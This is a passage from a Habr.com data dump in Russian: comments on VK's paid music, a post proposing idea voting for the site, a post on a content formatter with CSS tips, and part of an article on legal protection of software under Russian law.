адекватную музыку, но в вк нет возможности даже банально посмотреть все альбомы исполнителя, для этого надо идти в его группу и там искать. рекомендации слмоались, у меня теперь там висит одна песня. при блокировании андроид телефона музыка через пару секунд перестает играть и все зависает. божественное приложение BOOM тупо не пожет подключится к интернету. супер. придетсся и дальше слушать spotify", "Вспоминается куча комментаторов с «был бы сервис легальный сервис, чтобы удобный и вся музыка, я бы платил». Почему люди перехотели платить?", "UFO just landed and posted this here", "Это потому что эту композицию кто-то всё-таки сыграл, записал и выпустил. У вас же не ноты забрали(пока что:( ).", "UFO just landed and posted this here", "через семьдесят лет (на сколько я помню) после смерти МакSим — пожалуйста, конечно.", "> Это потому что эту композицию кто-то всё-таки сыграл, записал и выпустил\nЕсли бы этот «кто-то» сыграл композицию не для продажи, а на радость всем слушателям, или ntfs1984 самостоятельно бы сыграл, записал и выложил, думаете, vk разобрались бы в ситуации и не удалили трек?", "Так разные люди. Кто так комментировал, сейчас заплатил и пользуется. Зачем им нас об этом информировать?", "А, логично.\nСейчас просто видно что заплючованы только комментарии недовольства и складывается ощущение, будто «всё плохо, опять сделали хуже», хотя решение правильное.", "Ну так для мейл ру правильное, для пользователей, чей контент сломали — не очень, вот и информируют...", "Как пользовался google music, так и пользуюсь. Музыку в вк и так почти никогда не слушал.", "UFO just landed and posted this here", "Потому что гугл оказался удобнее и стартовал раньше. Плачу ему и давно не слушаю музыку с вк.", "Ситуация в ВК другая: это как если бы википедия, которую создавали миллионы пользователей вдруг сказала, что вводит подписку, редакторы и авторы могут отправляться за вознаграждением в лес. Музыка контакта в первую очередь пользователями загружена и систематизирована.", "Ну как бы", "Еще бы оригиналы треков помечались как-нибудь, а то в помойном поиске одни ремиксы от школьников. Да и вообще все правообладатели должны залить всю свою музыку в отличном качестве.", "Что же за дичь вы слушаете, что постоянно натыкаетесь на ремиксы и прочие издевательства над оригиналом?", "Боба Марли, Рэя Чарльза и битлов с нирваной очень любят ремиксить. Очень бесит, когда поставишь играть в фоне где нибудь, а через пару треков начинается ТЫЦТЫЦТЫЦТЫЦЗАДАВЛЕННЫЙАВТОТЮНОМБОБМАРЛИТЫЦТЫЦТЫЦ.", "UFO just landed and posted this here", "Так вы почти два экрана вниз прокрутили", "UFO just landed and posted this here", "аж кровь из ушей.\nМне вот интересно, что за мания у людей, пихать переделки, а не оригиналы, даже и в низком качестве.\nКакая религия не позволяет насладиться первоисточником?", ">Что же за дичь вы слушаете\nНе надо так говорить про музыкальные вкусы другого человека, какие бы они не были. Blackmill как пример, мне часто попадались ремиксы и даже другие исполнители названые его именем. Напомню что сегодняшняя «музыка» это вчеравние «аудиозаписи», не фонотека, не каталог, а в прошлом обычная файлопомойка которая умеет играть в браузере.", "> вчеравние «аудиозаписи», не фонотека, не каталог, а в прошлом обычная файлопомойка\nИ хотелось бы, чтобы так и осталось. Пусть будет больше разных сервисов. В сторону каталога двигаются все, кому денег хочется, их и без vk хватает. Не хотелось бы, чтобы уничтожили помойку и сделали ещё одно зеркало iTunes, ещё одну торговую витрину для тех же самых лейблов.", "Та же мысль пришла, натыкаюсь один трек из сотни-двух-трёх, где в название на всю длину (а она там немалая) напихано всех известных слов. Но обычно там не миксы, а хорошо если не чьё-то пьяное мычание (оно теперь тоже платное?)", "Что характерно, без флеша до сих пор лыжи не едут.", "У кого не едут? Firefox 53.0, x64, Windows.\nFlash Player не установлен.\nМузыка из vk играет.", "Хм, странно. В вивальди плюет ошибку, что нужен флеш плеер.", "А заодно они «для нашего блага» сломали оффлайн-режим в мобильном клиенте (Kate и других, официальным не пользуюсь). Пришла весенняя тяга к деятельности.", "«Например, они могут отключить аудиорекламу сразу на всех платформах. „\nЭто шедевр маркетинга, медаль из латекса тому, кто это придумал, в область тела чуть ниже спины.", "Не пользователь вк, но просто интересно, что на счёт семейных подписок?" ], "author": [ "Александр Мейдер (grvelvet)", "qw1", "DoubleBug", "Lesha Lomalkin (lomalkin)", "PKav", "Александр Мейдер (grvelvet)", "qw1", "betrachtung", "mrrouter", "qw1", "samizdam", "Владимир (Psychopompe)", "qw1", "zuwr2t", "qw1", "{}", "Дмитрий Земсков (SADKO)", "qw1", "OnelaW", "PlayTime", "Константин (stalinets)", "{}", "pudovMaxim", "Дмитрий (reid2)", "Fedcomp", "GreenGo (GreenGo)", "Владислав Животнев (inkvizitor68sl)", "Ugrum", "ksenobayt", "ZoomLS (ZoomLS)", "Митяй (dmial)", "mistergrim", "MotttoR", "M_AJ", "MotttoR", "sergio_deschino", "Артур Фирюлин (aokoroko)", "Merkat0r", "{}", "Артур Фирюлин (aokoroko)", "Darth Biomech (Darth_Biomech)", "Alex Shuman (Massacre)", "Иннокентий Иванов (Kenya-West)", "de1m (de1m)", "mrrouter", "SerhiyKhomin", "vp7 (vp7)", "sumanai", "Alex Shuman (Massacre)", "sumanai", "Giriia", "sumanai", "KorDen32", "GermanRLI", "Giriia", "sumanai", "Barafu", "Дмитрий (dsrk_dev)", "mrrouter", "qw1", "mrrouter", "betrachtung", "yarric", "Pakos", "Ziptar (Ziptar)", "vaslobas", "{}", "sumanai", "{}", "{}", "qw1", "{}", "fpir", "qw1", "sumanai", "qw1", "sumanai", "Сергей Шатунов (Prototik)", "{}", "ValdikSS", "shamash", "Kulich", "shamash", "Kulich", "shamash", "Владислав Животнев (inkvizitor68sl)", "Giriia", "zoonman", "qw1", "zoonman", "sumanai", "qw1", "dmitry_dvm", "lgorSL", "zoonman", "OneOfUs", "Александр Гаврилов (dartraiden)", "VRV (VRV)", "{}", "Дмитрий (dsrk_dev)", "Олег (TheOleg)", "{}", "Олег (TheOleg)", "{}", "Kardy", "qw1", "qw1", "Олег (TheOleg)", "Alex Shuman (Massacre)", "Ziptar (Ziptar)", "{}", "Евгений (xut)", "MiXaiL27", "Олег (TheOleg)", "dmitry_dvm", "lpwaterhouse", "Giriia", "{}", "Олег (TheOleg)", "{}", "OnelaW", "9uvwyuwo6pqt", "qw1", "Pakos", "kir_rik", "qw1", "kir_rik", "Pakos", "OnelaW", "Andrey Ryadovoy (Ryav)" ], "children": [ [ 18175613, 18175649 ], [ 18175615, 18175621, 18175627, 18175633, 18175643, 18175647 ], [ 18175617, 18175619 ], [], [], [ 18175623 ], [ 18175625 ], [], [ 18175629, 18175631 ], [], [], [ 18175635, 18175641 ], [ 18175637 ], [ 18175639 ], [], [], [ 18175645 ], [], [], [], [ 18175653, 18175655 ], [], [], [ 18175659 ], [], [ 18175663, 18175669 ], [ 18175665 ], [ 18175667 ], [], [], [ 18175673, 18175675 ], [], [ 18175677 ], [ 18175679 ], [], [], [ 18175685, 18175691 ], [ 18175687, 18175689 ], [], [], [], [ 18175695 ], [], [], [ 18175701 ], [], [ 18175705, 18175723, 18175725, 18175727 ], [ 18175707 ], [ 18175709 ], [ 18175711 ], [ 18175713, 18175715, 18175717 ], [], [], [ 18175719 ], [ 18175721 ], [], [], [], [ 18175729, 18175741 ], [ 18175731 ], [ 18175733, 18175735, 18175737, 18175739 ], [], [], [], [], [], [ 18175745 ], [ 18175747 ], [], [ 18175751, 18175753, 18175765, 18175769 ], [], [ 18175755, 18175763 ], [ 18175757 ], [ 18175759 ], [ 18175761 ], [], [], [ 18175767 ], [], [], [ 18175773 ], [ 18175775 ], [ 18175777 ], [ 18175779 ], [ 18175781 ], [], [ 18175785, 18175803 ], [ 18175787, 18175797, 18175801 ], [ 18175789 ], [ 18175791, 18175793, 18175795 ], [], [], [], [ 18175799 ], [], [], [], [], [], [], [ 18175813, 18175823, 18175831, 18175833, 18175835 ], [ 18175815 ], [ 18175817, 18175821 ], [ 18175819 ], [], [], [ 18175825, 18175829 ], [ 18175827 ], [], [], [], [], [ 18175837 ], [], [ 18175841 ], [ 18175843, 18175845, 18175853, 18175857 ], [], [ 18175847 ], [ 18175849 ], [ 18175851 ], [], [ 18175855 ], [], [], [ 18175861 ], [ 18175863 ], [], [], [], [] ] }
5,822
ru
https://habr.com/ru/post/5822/
Новый раздел
У хабропользователей посстоянно возникает много идей о том, как улучшить всеми любимый Хабр. Администрация все это записывает в загадочный ToDo и помещает краткиц список в ХабраВики. Я предлагаю сделать специальный раздел, где администранция и пользователи будут выкладывать идеи, а хабралюди — голосовать. Как это выглядит. Это табличка их 3 колонок. В первой — предложение, во второй radiobutton «да», в третьей — radiobutton «нет». Соответственно хабролюди с определенной кармой могут на каждое предложение сказать свое «да» (+1) или «нет» (-1). В списке предложения сортируются по количеству набранных баллов. Если развивать идею, то предложение может быть в расширенном формате. Т.е. в списке виден только заголовок. ПРи клике попадаем в подробную информацию. При этом голосование за топик приравнивается голосованию в списке.
<div xmlns="http://www.w3.org/1999/xhtml">У хабропользователей посстоянно возникает много идей о том, как улучшить всеми любимый Хабр. Администрация все это записывает в загадочный ToDo и помещает краткиц список в ХабраВики.<br/> <br/> Я предлагаю сделать специальный раздел, где администранция и пользователи будут выкладывать идеи, а хабралюди — голосовать.<br/> <br/> Как это выглядит. Это табличка их 3 колонок. В первой — предложение, во второй radiobutton «да», в третьей — radiobutton «нет». <br/> <br/> Соответственно хабролюди с определенной кармой могут на каждое предложение сказать свое «да» (+1) или «нет» (-1). В списке предложения сортируются по количеству набранных баллов.<br/> <br/> <a name="habracut"></a><br/> <br/> Если развивать идею, то предложение может быть в расширенном формате. Т.е. в списке виден только заголовок. ПРи клике попадаем в подробную информацию. При этом голосование за топик приравнивается голосованию в списке.</div>
Тимофей (Vorchun)
null
null
У хабропользователей посстоянно возникает много идей о том, как улучшить всеми любимый Хабр. Администрация все это записывает в загадочный ToDo и помещает краткиц список в ХабраВики.<br/> <br/> Я предлагаю сделать специальный раздел, где администранция и пользователи будут выкладывать идеи, а хабралюди — голосовать.<br/> <br/> Как это выглядит. Это табличка их 3 колонок. В первой — предложение, во второй radiobutton «да», в третьей — radiobutton «нет». <br/> <br/> Соответственно хабролюди с определенной кармой могут на каждое предложение сказать свое «да» (+1) или «нет» (-1). В списке предложения сортируются по количеству набранных баллов.<br/> <br/>
У хабропользователей посстоянно возникает много идей о том, как улучшить всеми любимый Хабр. Администрация все это записывает в загадочный ToDo и помещает краткиц список в ХабраВики. Я предлагаю сделать специальный раздел, где администранция и пользователи будут выкладывать идеи, а хабралюди — голосовать. Как это выглядит. Это табличка их 3 колонок. В первой — предложение, во второй radiobutton «да», в третьей — radiobutton «нет». Соответственно хабролюди с определенной кармой могут на каждое предложение сказать свое «да» (+1) или «нет» (-1). В списке предложения сортируются по количеству набранных баллов.
article
1,174,971,566
{ "commentsCount": 8, "favoritesCount": 0, "readingCount": 628, "score": 6, "votesCount": 12, "votesCountPlus": 9, "votesCountMinus": 3 }
[]
[ "habr" ]
[ "marketing" ]
[ "хабрахабр", "идеи для сайта", "голосование", "обсуждение" ]
1
null
null
{ "id": [ 75082, 75117, 75123, 75141, 75200, 75550, 75602, 76041 ], "parent_id": [ null, 75082, 75117, 75123, 75141, 75082, 75550, null ], "level": [ 0, 1, 2, 3, 4, 1, 2, 0 ], "time_published": [ 1174973127, 1174976004, 1174976459, 1174977821, 1174983396, 1175003743, 1175006474, 1175057123 ], "score": [ 0, 3, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 3, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Собственно вы можете голосование организовать прямо сейчас в этом блоге.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы не совсем его поняли.<br/>\r\nИмеется ввиду то, что свести все высказаные идеи в этом блоге в единую таблицу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот именно. Да, блог есть. Но нельзя быстро и сразу проголосовать за несколько предложений. <br/>\r\n<br/>\r\nВажно, что в таком списке предложений сортируются по количеству баллов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вы предлагаете к Хабрахабру прикрутить ещё и багтрекер?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А что вы понимаете под багтрекером? Mantis нам точно не надо )<br/>\r\nЭто скорее todo с возможностью голосования. <br/>\r\nИдея в том, чтобы было все в одном месте, а не раскидано все по постам в личных и коллективных блогах.<br/>\r\nВносить пункты на обсуждения будет Администрация. Таким образом, это будет официальное голосование за те пункты, которые в ближайшее время стоит добавить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А если идея озвучена в личном блоге? Или появилась в процессе обсуждения какого-либо топика?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну администрация-то об этом все равно должна как-то узнать. Не думаю, что она читает все топики и все обсуждения этих топиков.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот и я о том же собственно. А так - официальный сервис )</div>" ], "message_markdown": [ "Собственно вы можете голосование организовать прямо сейчас в этом блоге.", "Вы не совсем его поняли.\nИмеется ввиду то, что свести все высказаные идеи в этом блоге в единую таблицу.", "Вот именно. Да, блог есть. Но нельзя быстро и сразу проголосовать за несколько предложений.\nВажно, что в таком списке предложений сортируются по количеству баллов.", "Вы предлагаете к Хабрахабру прикрутить ещё и багтрекер?", "А что вы понимаете под багтрекером? Mantis нам точно не надо )\nЭто скорее todo с возможностью голосования.\nИдея в том, чтобы было все в одном месте, а не раскидано все по постам в личных и коллективных блогах.\nВносить пункты на обсуждения будет Администрация. Таким образом, это будет официальное голосование за те пункты, которые в ближайшее время стоит добавить.", "А если идея озвучена в личном блоге? Или появилась в процессе обсуждения какого-либо топика?", "Ну администрация-то об этом все равно должна как-то узнать. Не думаю, что она читает все топики и все обсуждения этих топиков.", "Вот и я о том же собственно. А так - официальный сервис )" ], "author": [ "Vox", "Иванова Юлия (Angelina_Joulie)", "Тимофей (Vorchun)", "Vox", "Тимофей (Vorchun)", "Тимофей (Vorchun)", "Alexey Karguine (karguine)", "Тимофей (Vorchun)" ], "children": [ [ 75117, 75550 ], [ 75123 ], [ 75141 ], [ 75200 ], [], [ 75602 ], [], [] ] }
43,390
ru
https://habr.com/ru/post/43390/
Форматтер для пользователя
Долгое время занимаюсь разработкой сайтов, естественно к каждому сайту требуется какое-либо подобие «админки», и так как самым главным моментом в сайте является содержание (контент) — необходимо подготовить инструмент для пользователя (администратора ресурса) для работы с содержанием (контентом). Так как стереотипы не убьешь, и в основном люди приучены к работе в Word (по крайне мере такие встречались мне), необходим форматтер. Испробовал довольно таки большое количество форматтеров, даже была бредовая идея писать свой. Проблем великое множество, юзверы пытаются редактировать форматирование текста на свой вкус, который порой отсутствует, менять шрифт, его цвет (ярко красные буквы с зеленым фоном даже встречались), размер, заливки в таблицах и прочее творчество. По итогу получалась не статья, а страшная эклектика... В форматтерах позапрещали изменять формат текста, таблиц и прочего, подписали свои классы и т.д. Все вроде наладилось, результат стал более-менее приемлимым, вот только появилась проблема с картинками. Картинки — разных размеров, порой такие что ломают все верстку (такое даже на Хабре порой встречается, что тут говорить об менеджерах которые даже не представляют что размеры экранной графики измеряются в пикселах, а не в сантиметрах). Вообщем очередная «страшная» проблема, обучать персонал совсем неохота, мои страшные росказни про килобайты, скорость загрузки, пикселы не всегда доходят до ушей манагеров. По итогу родилась следующая идея. Что если статью разбить на несколько блоков. Например, блок с картинкой слева и текстом, блок с картинкой справа и текстом, блок картинок в один ряд, блок таблицы, блок просто текста... Пользователь загружая картинку указывают ее на своем компе она загружается и поджимается до нужных размеров (причем все это проиходит без перезагрузки страницы, благо есть такая технология как AJAX), тут же определяется положение картинки на страницы, выравнивания все и прочее. Плюсы: Пользователь сразу видет как будет выглядеть страница с его текстом Простота использования Пользователь не наворочает своего «креатива», все будет выглядеть так, как запланировал это дизайнер Вот вопрос к Хабра-сообществу: есть ли подобные реализации и какие проблемы могут возникнуть на Ваш взгляд с использованием подобного инструмента?
<div xmlns="http://www.w3.org/1999/xhtml">Долгое время занимаюсь разработкой сайтов, естественно к каждому сайту требуется какое-либо подобие «админки», и так как самым главным моментом в сайте является содержание (контент) — необходимо подготовить инструмент для пользователя (администратора ресурса) для работы с содержанием (контентом). Так как стереотипы не убьешь, и в основном люди приучены к работе в Word (по крайне мере такие встречались мне), необходим форматтер. Испробовал довольно таки большое количество форматтеров, даже была бредовая идея писать свой. Проблем великое множество, юзверы пытаются редактировать форматирование текста на свой вкус, который порой отсутствует, менять шрифт, его цвет (ярко красные буквы с зеленым фоном даже встречались), размер, заливки в таблицах и прочее творчество. По итогу получалась не статья, а страшная эклектика…<br/> <br/> В форматтерах позапрещали изменять формат текста, таблиц и прочего, подписали свои классы и т.д. Все вроде наладилось, результат стал более-менее приемлимым, вот только появилась проблема с картинками. Картинки — разных размеров, порой такие что ломают все верстку (такое даже на Хабре порой встречается, что тут говорить об менеджерах которые даже не представляют что размеры экранной графики измеряются в пикселах, а не в сантиметрах). Вообщем очередная «страшная» проблема, обучать персонал совсем неохота, мои страшные росказни про килобайты, скорость загрузки, пикселы не всегда доходят до ушей манагеров.<br/> <br/> По итогу родилась следующая идея. Что если статью разбить на несколько блоков. Например, блок с картинкой слева и текстом, блок с картинкой справа и текстом, блок картинок в один ряд, блок таблицы, блок просто текста…<br/> Пользователь загружая картинку указывают ее на своем компе она загружается и поджимается до нужных размеров (причем все это проиходит без перезагрузки страницы, благо есть такая технология как AJAX), тут же определяется положение картинки на страницы, выравнивания все и прочее.<br/> <br/> <b>Плюсы:</b><br/> <ul> <li>Пользователь сразу видет как будет выглядеть страница с его текстом</li> <li>Простота использования</li> <li>Пользователь не наворочает своего «креатива», все будет выглядеть так, как запланировал это дизайнер</li> </ul><br/> <br/> Вот вопрос к Хабра-сообществу: есть ли подобные реализации и какие проблемы могут возникнуть на Ваш взгляд с использованием подобного инструмента?</div>
Константин Янковский (ExcimeR)
null
null
Долгое время занимаюсь разработкой сайтов, естественно к каждому сайту требуется какое-либо подобие «админки», и так как самым главным моментом в сайте является содержание (контент) — необходимо подготовить инструмент для пользователя (администратора ресурса) для работы с содержанием (контентом). Так как стереотипы не убьешь, и в основном люди приучены к работе в Word (по крайне мере такие встречались мне), необходим форматтер. Испробовал довольно таки большое количество форматтеров, даже была бредовая идея писать свой. Проблем великое множество, юзверы пытаются редактировать форматирование текста на свой вкус, который порой отсутствует, менять шрифт, его цвет (ярко красные буквы с зеленым фоном даже встречались), размер, заливки в таблицах и прочее творчество. По итогу получалась не статья, а страшная эклектика…<br/> <br/> В форматтерах позапрещали изменять формат текста, таблиц и прочего, подписали свои классы и т.д. Все вроде наладилось, результат стал более-менее приемлимым, вот только появилась проблема с картинками. Картинки — разных размеров, порой такие что ломают все верстку (такое даже на Хабре порой встречается, что тут говорить об менеджерах которые даже не представляют что размеры экранной графики измеряются в пикселах, а не в сантиметрах). Вообщем очередная «страшная» проблема, обучать персонал совсем неохота, мои страшные росказни про килобайты, скорость загрузки, пикселы не всегда доходят до ушей манагеров.<br/> <br/> По итогу родилась следующая идея. Что если статью разбить на несколько блоков. Например, блок с картинкой слева и текстом, блок с картинкой справа и текстом, блок картинок в один ряд, блок таблицы, блок просто текста…<br/> Пользователь загружая картинку указывают ее на своем компе она загружается и поджимается до нужных размеров (причем все это проиходит без перезагрузки страницы, благо есть такая технология как AJAX), тут же определяется положение картинки на страницы, выравнивания все и прочее.<br/> <br/> <b>Плюсы:</b><br/> <ul> <li>Пользователь сразу видет как будет выглядеть страница с его текстом</li> <li>Простота использования</li> <li>Пользователь не наворочает своего «креатива», все будет выглядеть так, как запланировал это дизайнер</li> </ul><br/> <br/> Вот вопрос к Хабра-сообществу: есть ли подобные реализации и какие проблемы могут возникнуть на Ваш взгляд с использованием подобного инструмента?
Долгое время занимаюсь разработкой сайтов, естественно к каждому сайту требуется какое-либо подобие «админки», и так как самым главным моментом в сайте является содержание (контент) — необходимо подготовить инструмент для пользователя (администратора ресурса) для работы с содержанием (контентом). Так как стереотипы не убьешь, и в основном люди приучены к работе в Word (по крайне мере такие встречались мне), необходим форматтер. Испробовал довольно таки большое количество форматтеров, даже была бредовая идея писать свой. Проблем великое множество, юзверы пытаются редактировать форматирование текста на свой вкус, который порой отсутствует, менять шрифт, его цвет (ярко красные буквы с зеленым фоном даже встречались), размер, заливки в таблицах и прочее творчество. По итогу получалась не статья, а страшная эклектика... В форматтерах позапрещали изменять формат текста, таблиц и прочего, подписали свои классы и т.д. Все вроде наладилось, результат стал более-менее приемлимым, вот только появилась проблема с картинками. Картинки — разных размеров, порой такие что ломают все верстку (такое даже на Хабре порой встречается, что тут говорить об менеджерах которые даже не представляют что размеры экранной графики измеряются в пикселах, а не в сантиметрах). Вообщем очередная «страшная» проблема, обучать персонал совсем неохота, мои страшные росказни про килобайты, скорость загрузки, пикселы не всегда доходят до ушей манагеров. По итогу родилась следующая идея. Что если статью разбить на несколько блоков. Например, блок с картинкой слева и текстом, блок с картинкой справа и текстом, блок картинок в один ряд, блок таблицы, блок просто текста... Пользователь загружая картинку указывают ее на своем компе она загружается и поджимается до нужных размеров (причем все это проиходит без перезагрузки страницы, благо есть такая технология как AJAX), тут же определяется положение картинки на страницы, выравнивания все и прочее. Плюсы: Пользователь сразу видет как будет выглядеть страница с его текстом Простота использования Пользователь не наворочает своего «креатива», все будет выглядеть так, как запланировал это дизайнер Вот вопрос к Хабра-сообществу: есть ли подобные реализации и какие проблемы могут возникнуть на Ваш взгляд с использованием подобного инструмента?
article
1,225,169,784
{ "commentsCount": 11, "favoritesCount": 1, "readingCount": 924, "score": 2, "votesCount": 6, "votesCountPlus": 4, "votesCountMinus": 2 }
[]
[ "closet" ]
[ "popsci" ]
[ "форматирование текста", "разработка сайтов", "web-разработка", "форматтер", "дизайн сайта" ]
2
null
null
{ "id": [ 12714421, 12714423, 12714425, 12714427, 12714429, 12714431, 12714433, 12714435, 12714437, 12714439, 12714441 ], "parent_id": [ null, null, null, null, 12714423, null, 12714431, 12714425, 12714429, null, 12714429 ], "level": [ 0, 0, 0, 0, 1, 0, 1, 1, 2, 0, 2 ], "time_published": [ 1225173365, 1225175154, 1225175667, 1225175845, 1225176051, 1225176997, 1225180543, 1225181047, 1225182789, 1225188793, 1225191946 ], "score": [ 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0 ], "votes": [ 0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Наплождается куча лишних сущностей «Картинка с ...», с которыми придется учить работать пользователя, не знакомого с таким функционалом по ворду.<br/>\r\n<br/>\r\nПроблема такая конечно есть, но мне кажется лучше всего решать это кучей ограничений на размер картинок, вес, оставить 1 дополнительную фишку «тумба-фулсайз» для размещения больших картинок.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Поправьте пожалуйста:<br/>\r\n«не убьешь»<br/>\r\n«приучены»<br/>\r\n«красные»<br/>\r\n«не статья»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">в css:<br/>\r\ndiv.content img {max-width: бла-блаpx}<br/>\r\nне везде, но спасет частично</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как вариант<br/>\r\n<br/>\r\ndiv.content {<br/>\r\noverflow: hidden;<br/>\r\n}<br/>\r\n<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Исправил, спасибо</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">как правило у наших заказчиков подобным занимается какая-нибудь девочка-секретарша, об обучении никакого вопроса даже не стоит. Просто сделайте и все, многие к обучению относятся скептически, что это за сайт такой, к которому учиться надо… Мы знаем word и хватит, сделайте как в worde</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">От фотографии в 5 мегабайт с корпоративной вечеринки это не спасёт. Вот иногда загружается страница с 20 превью фотографий нереальное просто время, а потом смотришь — а это и не превью вовсе, а ужатые через width и height или css гигантские фотографии…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">+: «положение пикчи на страницы»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">как вариант — по кнопке загрузить картинку — ресайзить ее ее размеры и сохранять.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">+ интсрумент </div>" ], "message_markdown": [ "Наплождается куча лишних сущностей «Картинка с ...», с которыми придется учить работать пользователя, не знакомого с таким функционалом по ворду.\nПроблема такая конечно есть, но мне кажется лучше всего решать это кучей ограничений на размер картинок, вес, оставить 1 дополнительную фишку «тумба-фулсайз» для размещения больших картинок.", "Поправьте пожалуйста:\n«не убьешь»\n«приучены»\n«красные»\n«не статья»", "в css:\ndiv.content img {max-width: бла-блаpx}\nне везде, но спасет частично", "Как вариант\ndiv.content {\noverflow: hidden;\n}", "Исправил, спасибо", "UFO just landed and posted this here", "как правило у наших заказчиков подобным занимается какая-нибудь девочка-секретарша, об обучении никакого вопроса даже не стоит. Просто сделайте и все, многие к обучению относятся скептически, что это за сайт такой, к которому учиться надо... Мы знаем word и хватит, сделайте как в worde", "От фотографии в 5 мегабайт с корпоративной вечеринки это не спасёт. Вот иногда загружается страница с 20 превью фотографий нереальное просто время, а потом смотришь — а это и не превью вовсе, а ужатые через width и height или css гигантские фотографии...", "+: «положение пикчи на страницы»", "как вариант — по кнопке загрузить картинку — ресайзить ее ее размеры и сохранять.", "\\+ интсрумент" ], "author": [ "Dick. MobbyDick. (Jons)", "Mexos (Mexos)", "Денис Сафронов (mcdb)", "Михаил (charger)", "Константин Янковский (ExcimeR)", "{}", "Константин Янковский (ExcimeR)", "donPedro (donPedro)", "Kalan (Kalan)", "Юра (vault)", "Максим Гнатенко (MaximG)" ], "children": [ [], [ 12714429 ], [ 12714435 ], [], [ 12714437, 12714441 ], [ 12714433 ], [], [], [], [], [] ] }
284,868
ru
https://habr.com/ru/post/284868/
Правовая охрана программ для ЭВМ
#### Введение Ввиду того, что на Хабре много программистов и прочитав, что тут пишут про правовую охрану программ, решил попробовать написать понятную и практически применимую статью. Определение программы для ЭВМ в соответствии с Гражданским кодексом Российской Федерации (часть IV) (далее — ГК РФ). В соответствии со статьей 1261 ГК РФ программой для ЭВМ является представленная в объективной форме совокупность данных и команд, предназначенных для функционирования ЭВМ и других компьютерных устройств в целях получения определенного результата, включая подготовительные материалы, полученные в ходе разработки программы для ЭВМ, и порождаемые ею аудиовизуальные отображения. Авторские права на все виды программ для ЭВМ (в том числе на операционные системы и программные комплексы), которые могут быть выражены на любом языке и в любой форме, включая исходный текст и объектный код, охраняются так же, как авторские права на произведения литературы. #### Как охраняются объекты авторского права В соответствии с Бернской конвенцией (участниками которой является большинство стран, включая все наиболее развитые, в том числе и Российская Федерация) для получения авторского права на произведение (к которому в Российской Федерации приравнивается программа для ЭВМ в соответствии со статьей 1261 ГК РФ) в странах, подписавших Бернскую конвенцию, не требуется никаких формальностей. В странах гражданского права (к которым относится Российская Федерация) произведения охраняются с момента создания, что, конечно, оставляет открытым практический вопрос доказательства в суде факта создания произведения. Следует, однако, отметить, что могут существовать формальности в соответствии с национальным законом для охраны прав собственных граждан. В странах-членах Бернской конвенции все права иностранных обладателей из других государств-членов Бернской конвенции охраняются без соблюдения формальностей (никакой регистрации). В большинстве стран общего права фиксация является требованием: произведение должно быть облечено в письменную форму или записано на определенный носитель. В Российской Федерации действие исключительного права на произведение (одно из составляющих авторского права в соответствии со статьей 1255 ГК РФ) регулируется статьей 1256 ГК РФ, что не противоречит Бернской конвенции. #### Выбор оптимального способа охраны программного комплекса 1\. Охрана в качестве объекта авторского права. Как уже было сказано выше, авторское право на программу для ЭВМ действует в момент создания. Для указания автора программы для ЭВМ, как правило, в исходном коде ставится знак охраны авторского права («копирайт») и имена и фамилии авторов или название юридического лица, а также дату создания (первого публичного воспроизведения). Это не является обязательным и не создает дополнительных прав. Он является уведомлением о том, что авторское право принадлежит физическому (физическим) или юридическом (юридическим) лицам. Для усиления позиций и обеспечения гарантии авторского права в Российской Федерации есть государственная регистрация программ для ЭВМ. Заявка на государственную регистрацию программы для ЭВМ должна содержать следующие материалы: заявление о государственной регистрации программы для ЭВМ, оформленное по установленной форме и доступное для скачивания с сайта ФИПС; дополнение к заявлению (при необходимости — если несколько авторов или правообладателей); депонируемые материалы, идентифицирующие программу для ЭВМ, включая реферат; документ, подтверждающий уплату государственной пошлины. Депонируемые материалы, как правило, представляют собой распечатку исходного текста (полного или фрагментов) в объеме до 70 страниц. Представление депонируемых материалов в иной форме допускается при наличии обоснования заявителя о том, что данная форма в большей степени обеспечивает идентификацию регистрируемой программы для ЭВМ. Допускается включать в состав этих материалов подготовительные материалы, полученные в ходе ее разработки, а также порождаемые ею аудиовизуальные отображения в любой визуально воспринимаемой форме. Реферат содержит сведения об авторах и правообладателях, аннотацию до 700 знаков, тип ЭВМ, тип и версию ОС, язык программирования и объем программы. Реферат публикуется в официальном бюллетене Роспатента. Кроме того, предъявляются формальные требования по оформлению и брошюровке документов. Размер пошлины составляет 1700 рублей для физического лица и 2600 рублей для юридического лица. Срок действия авторского права в Российской Федерации составляет 70 лет после смерти последнего автора. После этого объект переходит в общественное достояние. 2\. Регистрация в качестве объекта патентного права (промышленной собственности). Объектами патентного права являются изобретения, полезные модели и промышленные образцы (в соответствии со статьей 1345 ГК РФ). В данном случае речь пойдет об охране программного комплекса в качестве изобретения или полезной модели. В Российской Федерации промышленный образец охраняет внешний вид изделия, и в числе материалов заявки направляется фотографии. Примечательно, но в США в качестве промышленного образца может охраняться эскиз. Так, в свое время Google получил патент США на промышленный образец, охраняющий эскиз главной страницы своего поисковика. В России такое не прокатит. Кроме того, мы помним как не преклонен был Роспатент перед попытками Apple запатентовать в России дизайн iPad. В соответствии со статьей 1350 ГК РФ в качестве изобретения охраняется техническое решение в любой области, относящееся к продукту (в частности, устройству, веществу, штамму микроорганизма, культуре клеток растений или животных) или способу (процессу осуществления действий над материальным объектом с помощью материальных средств). Таким образом, правовая охрана 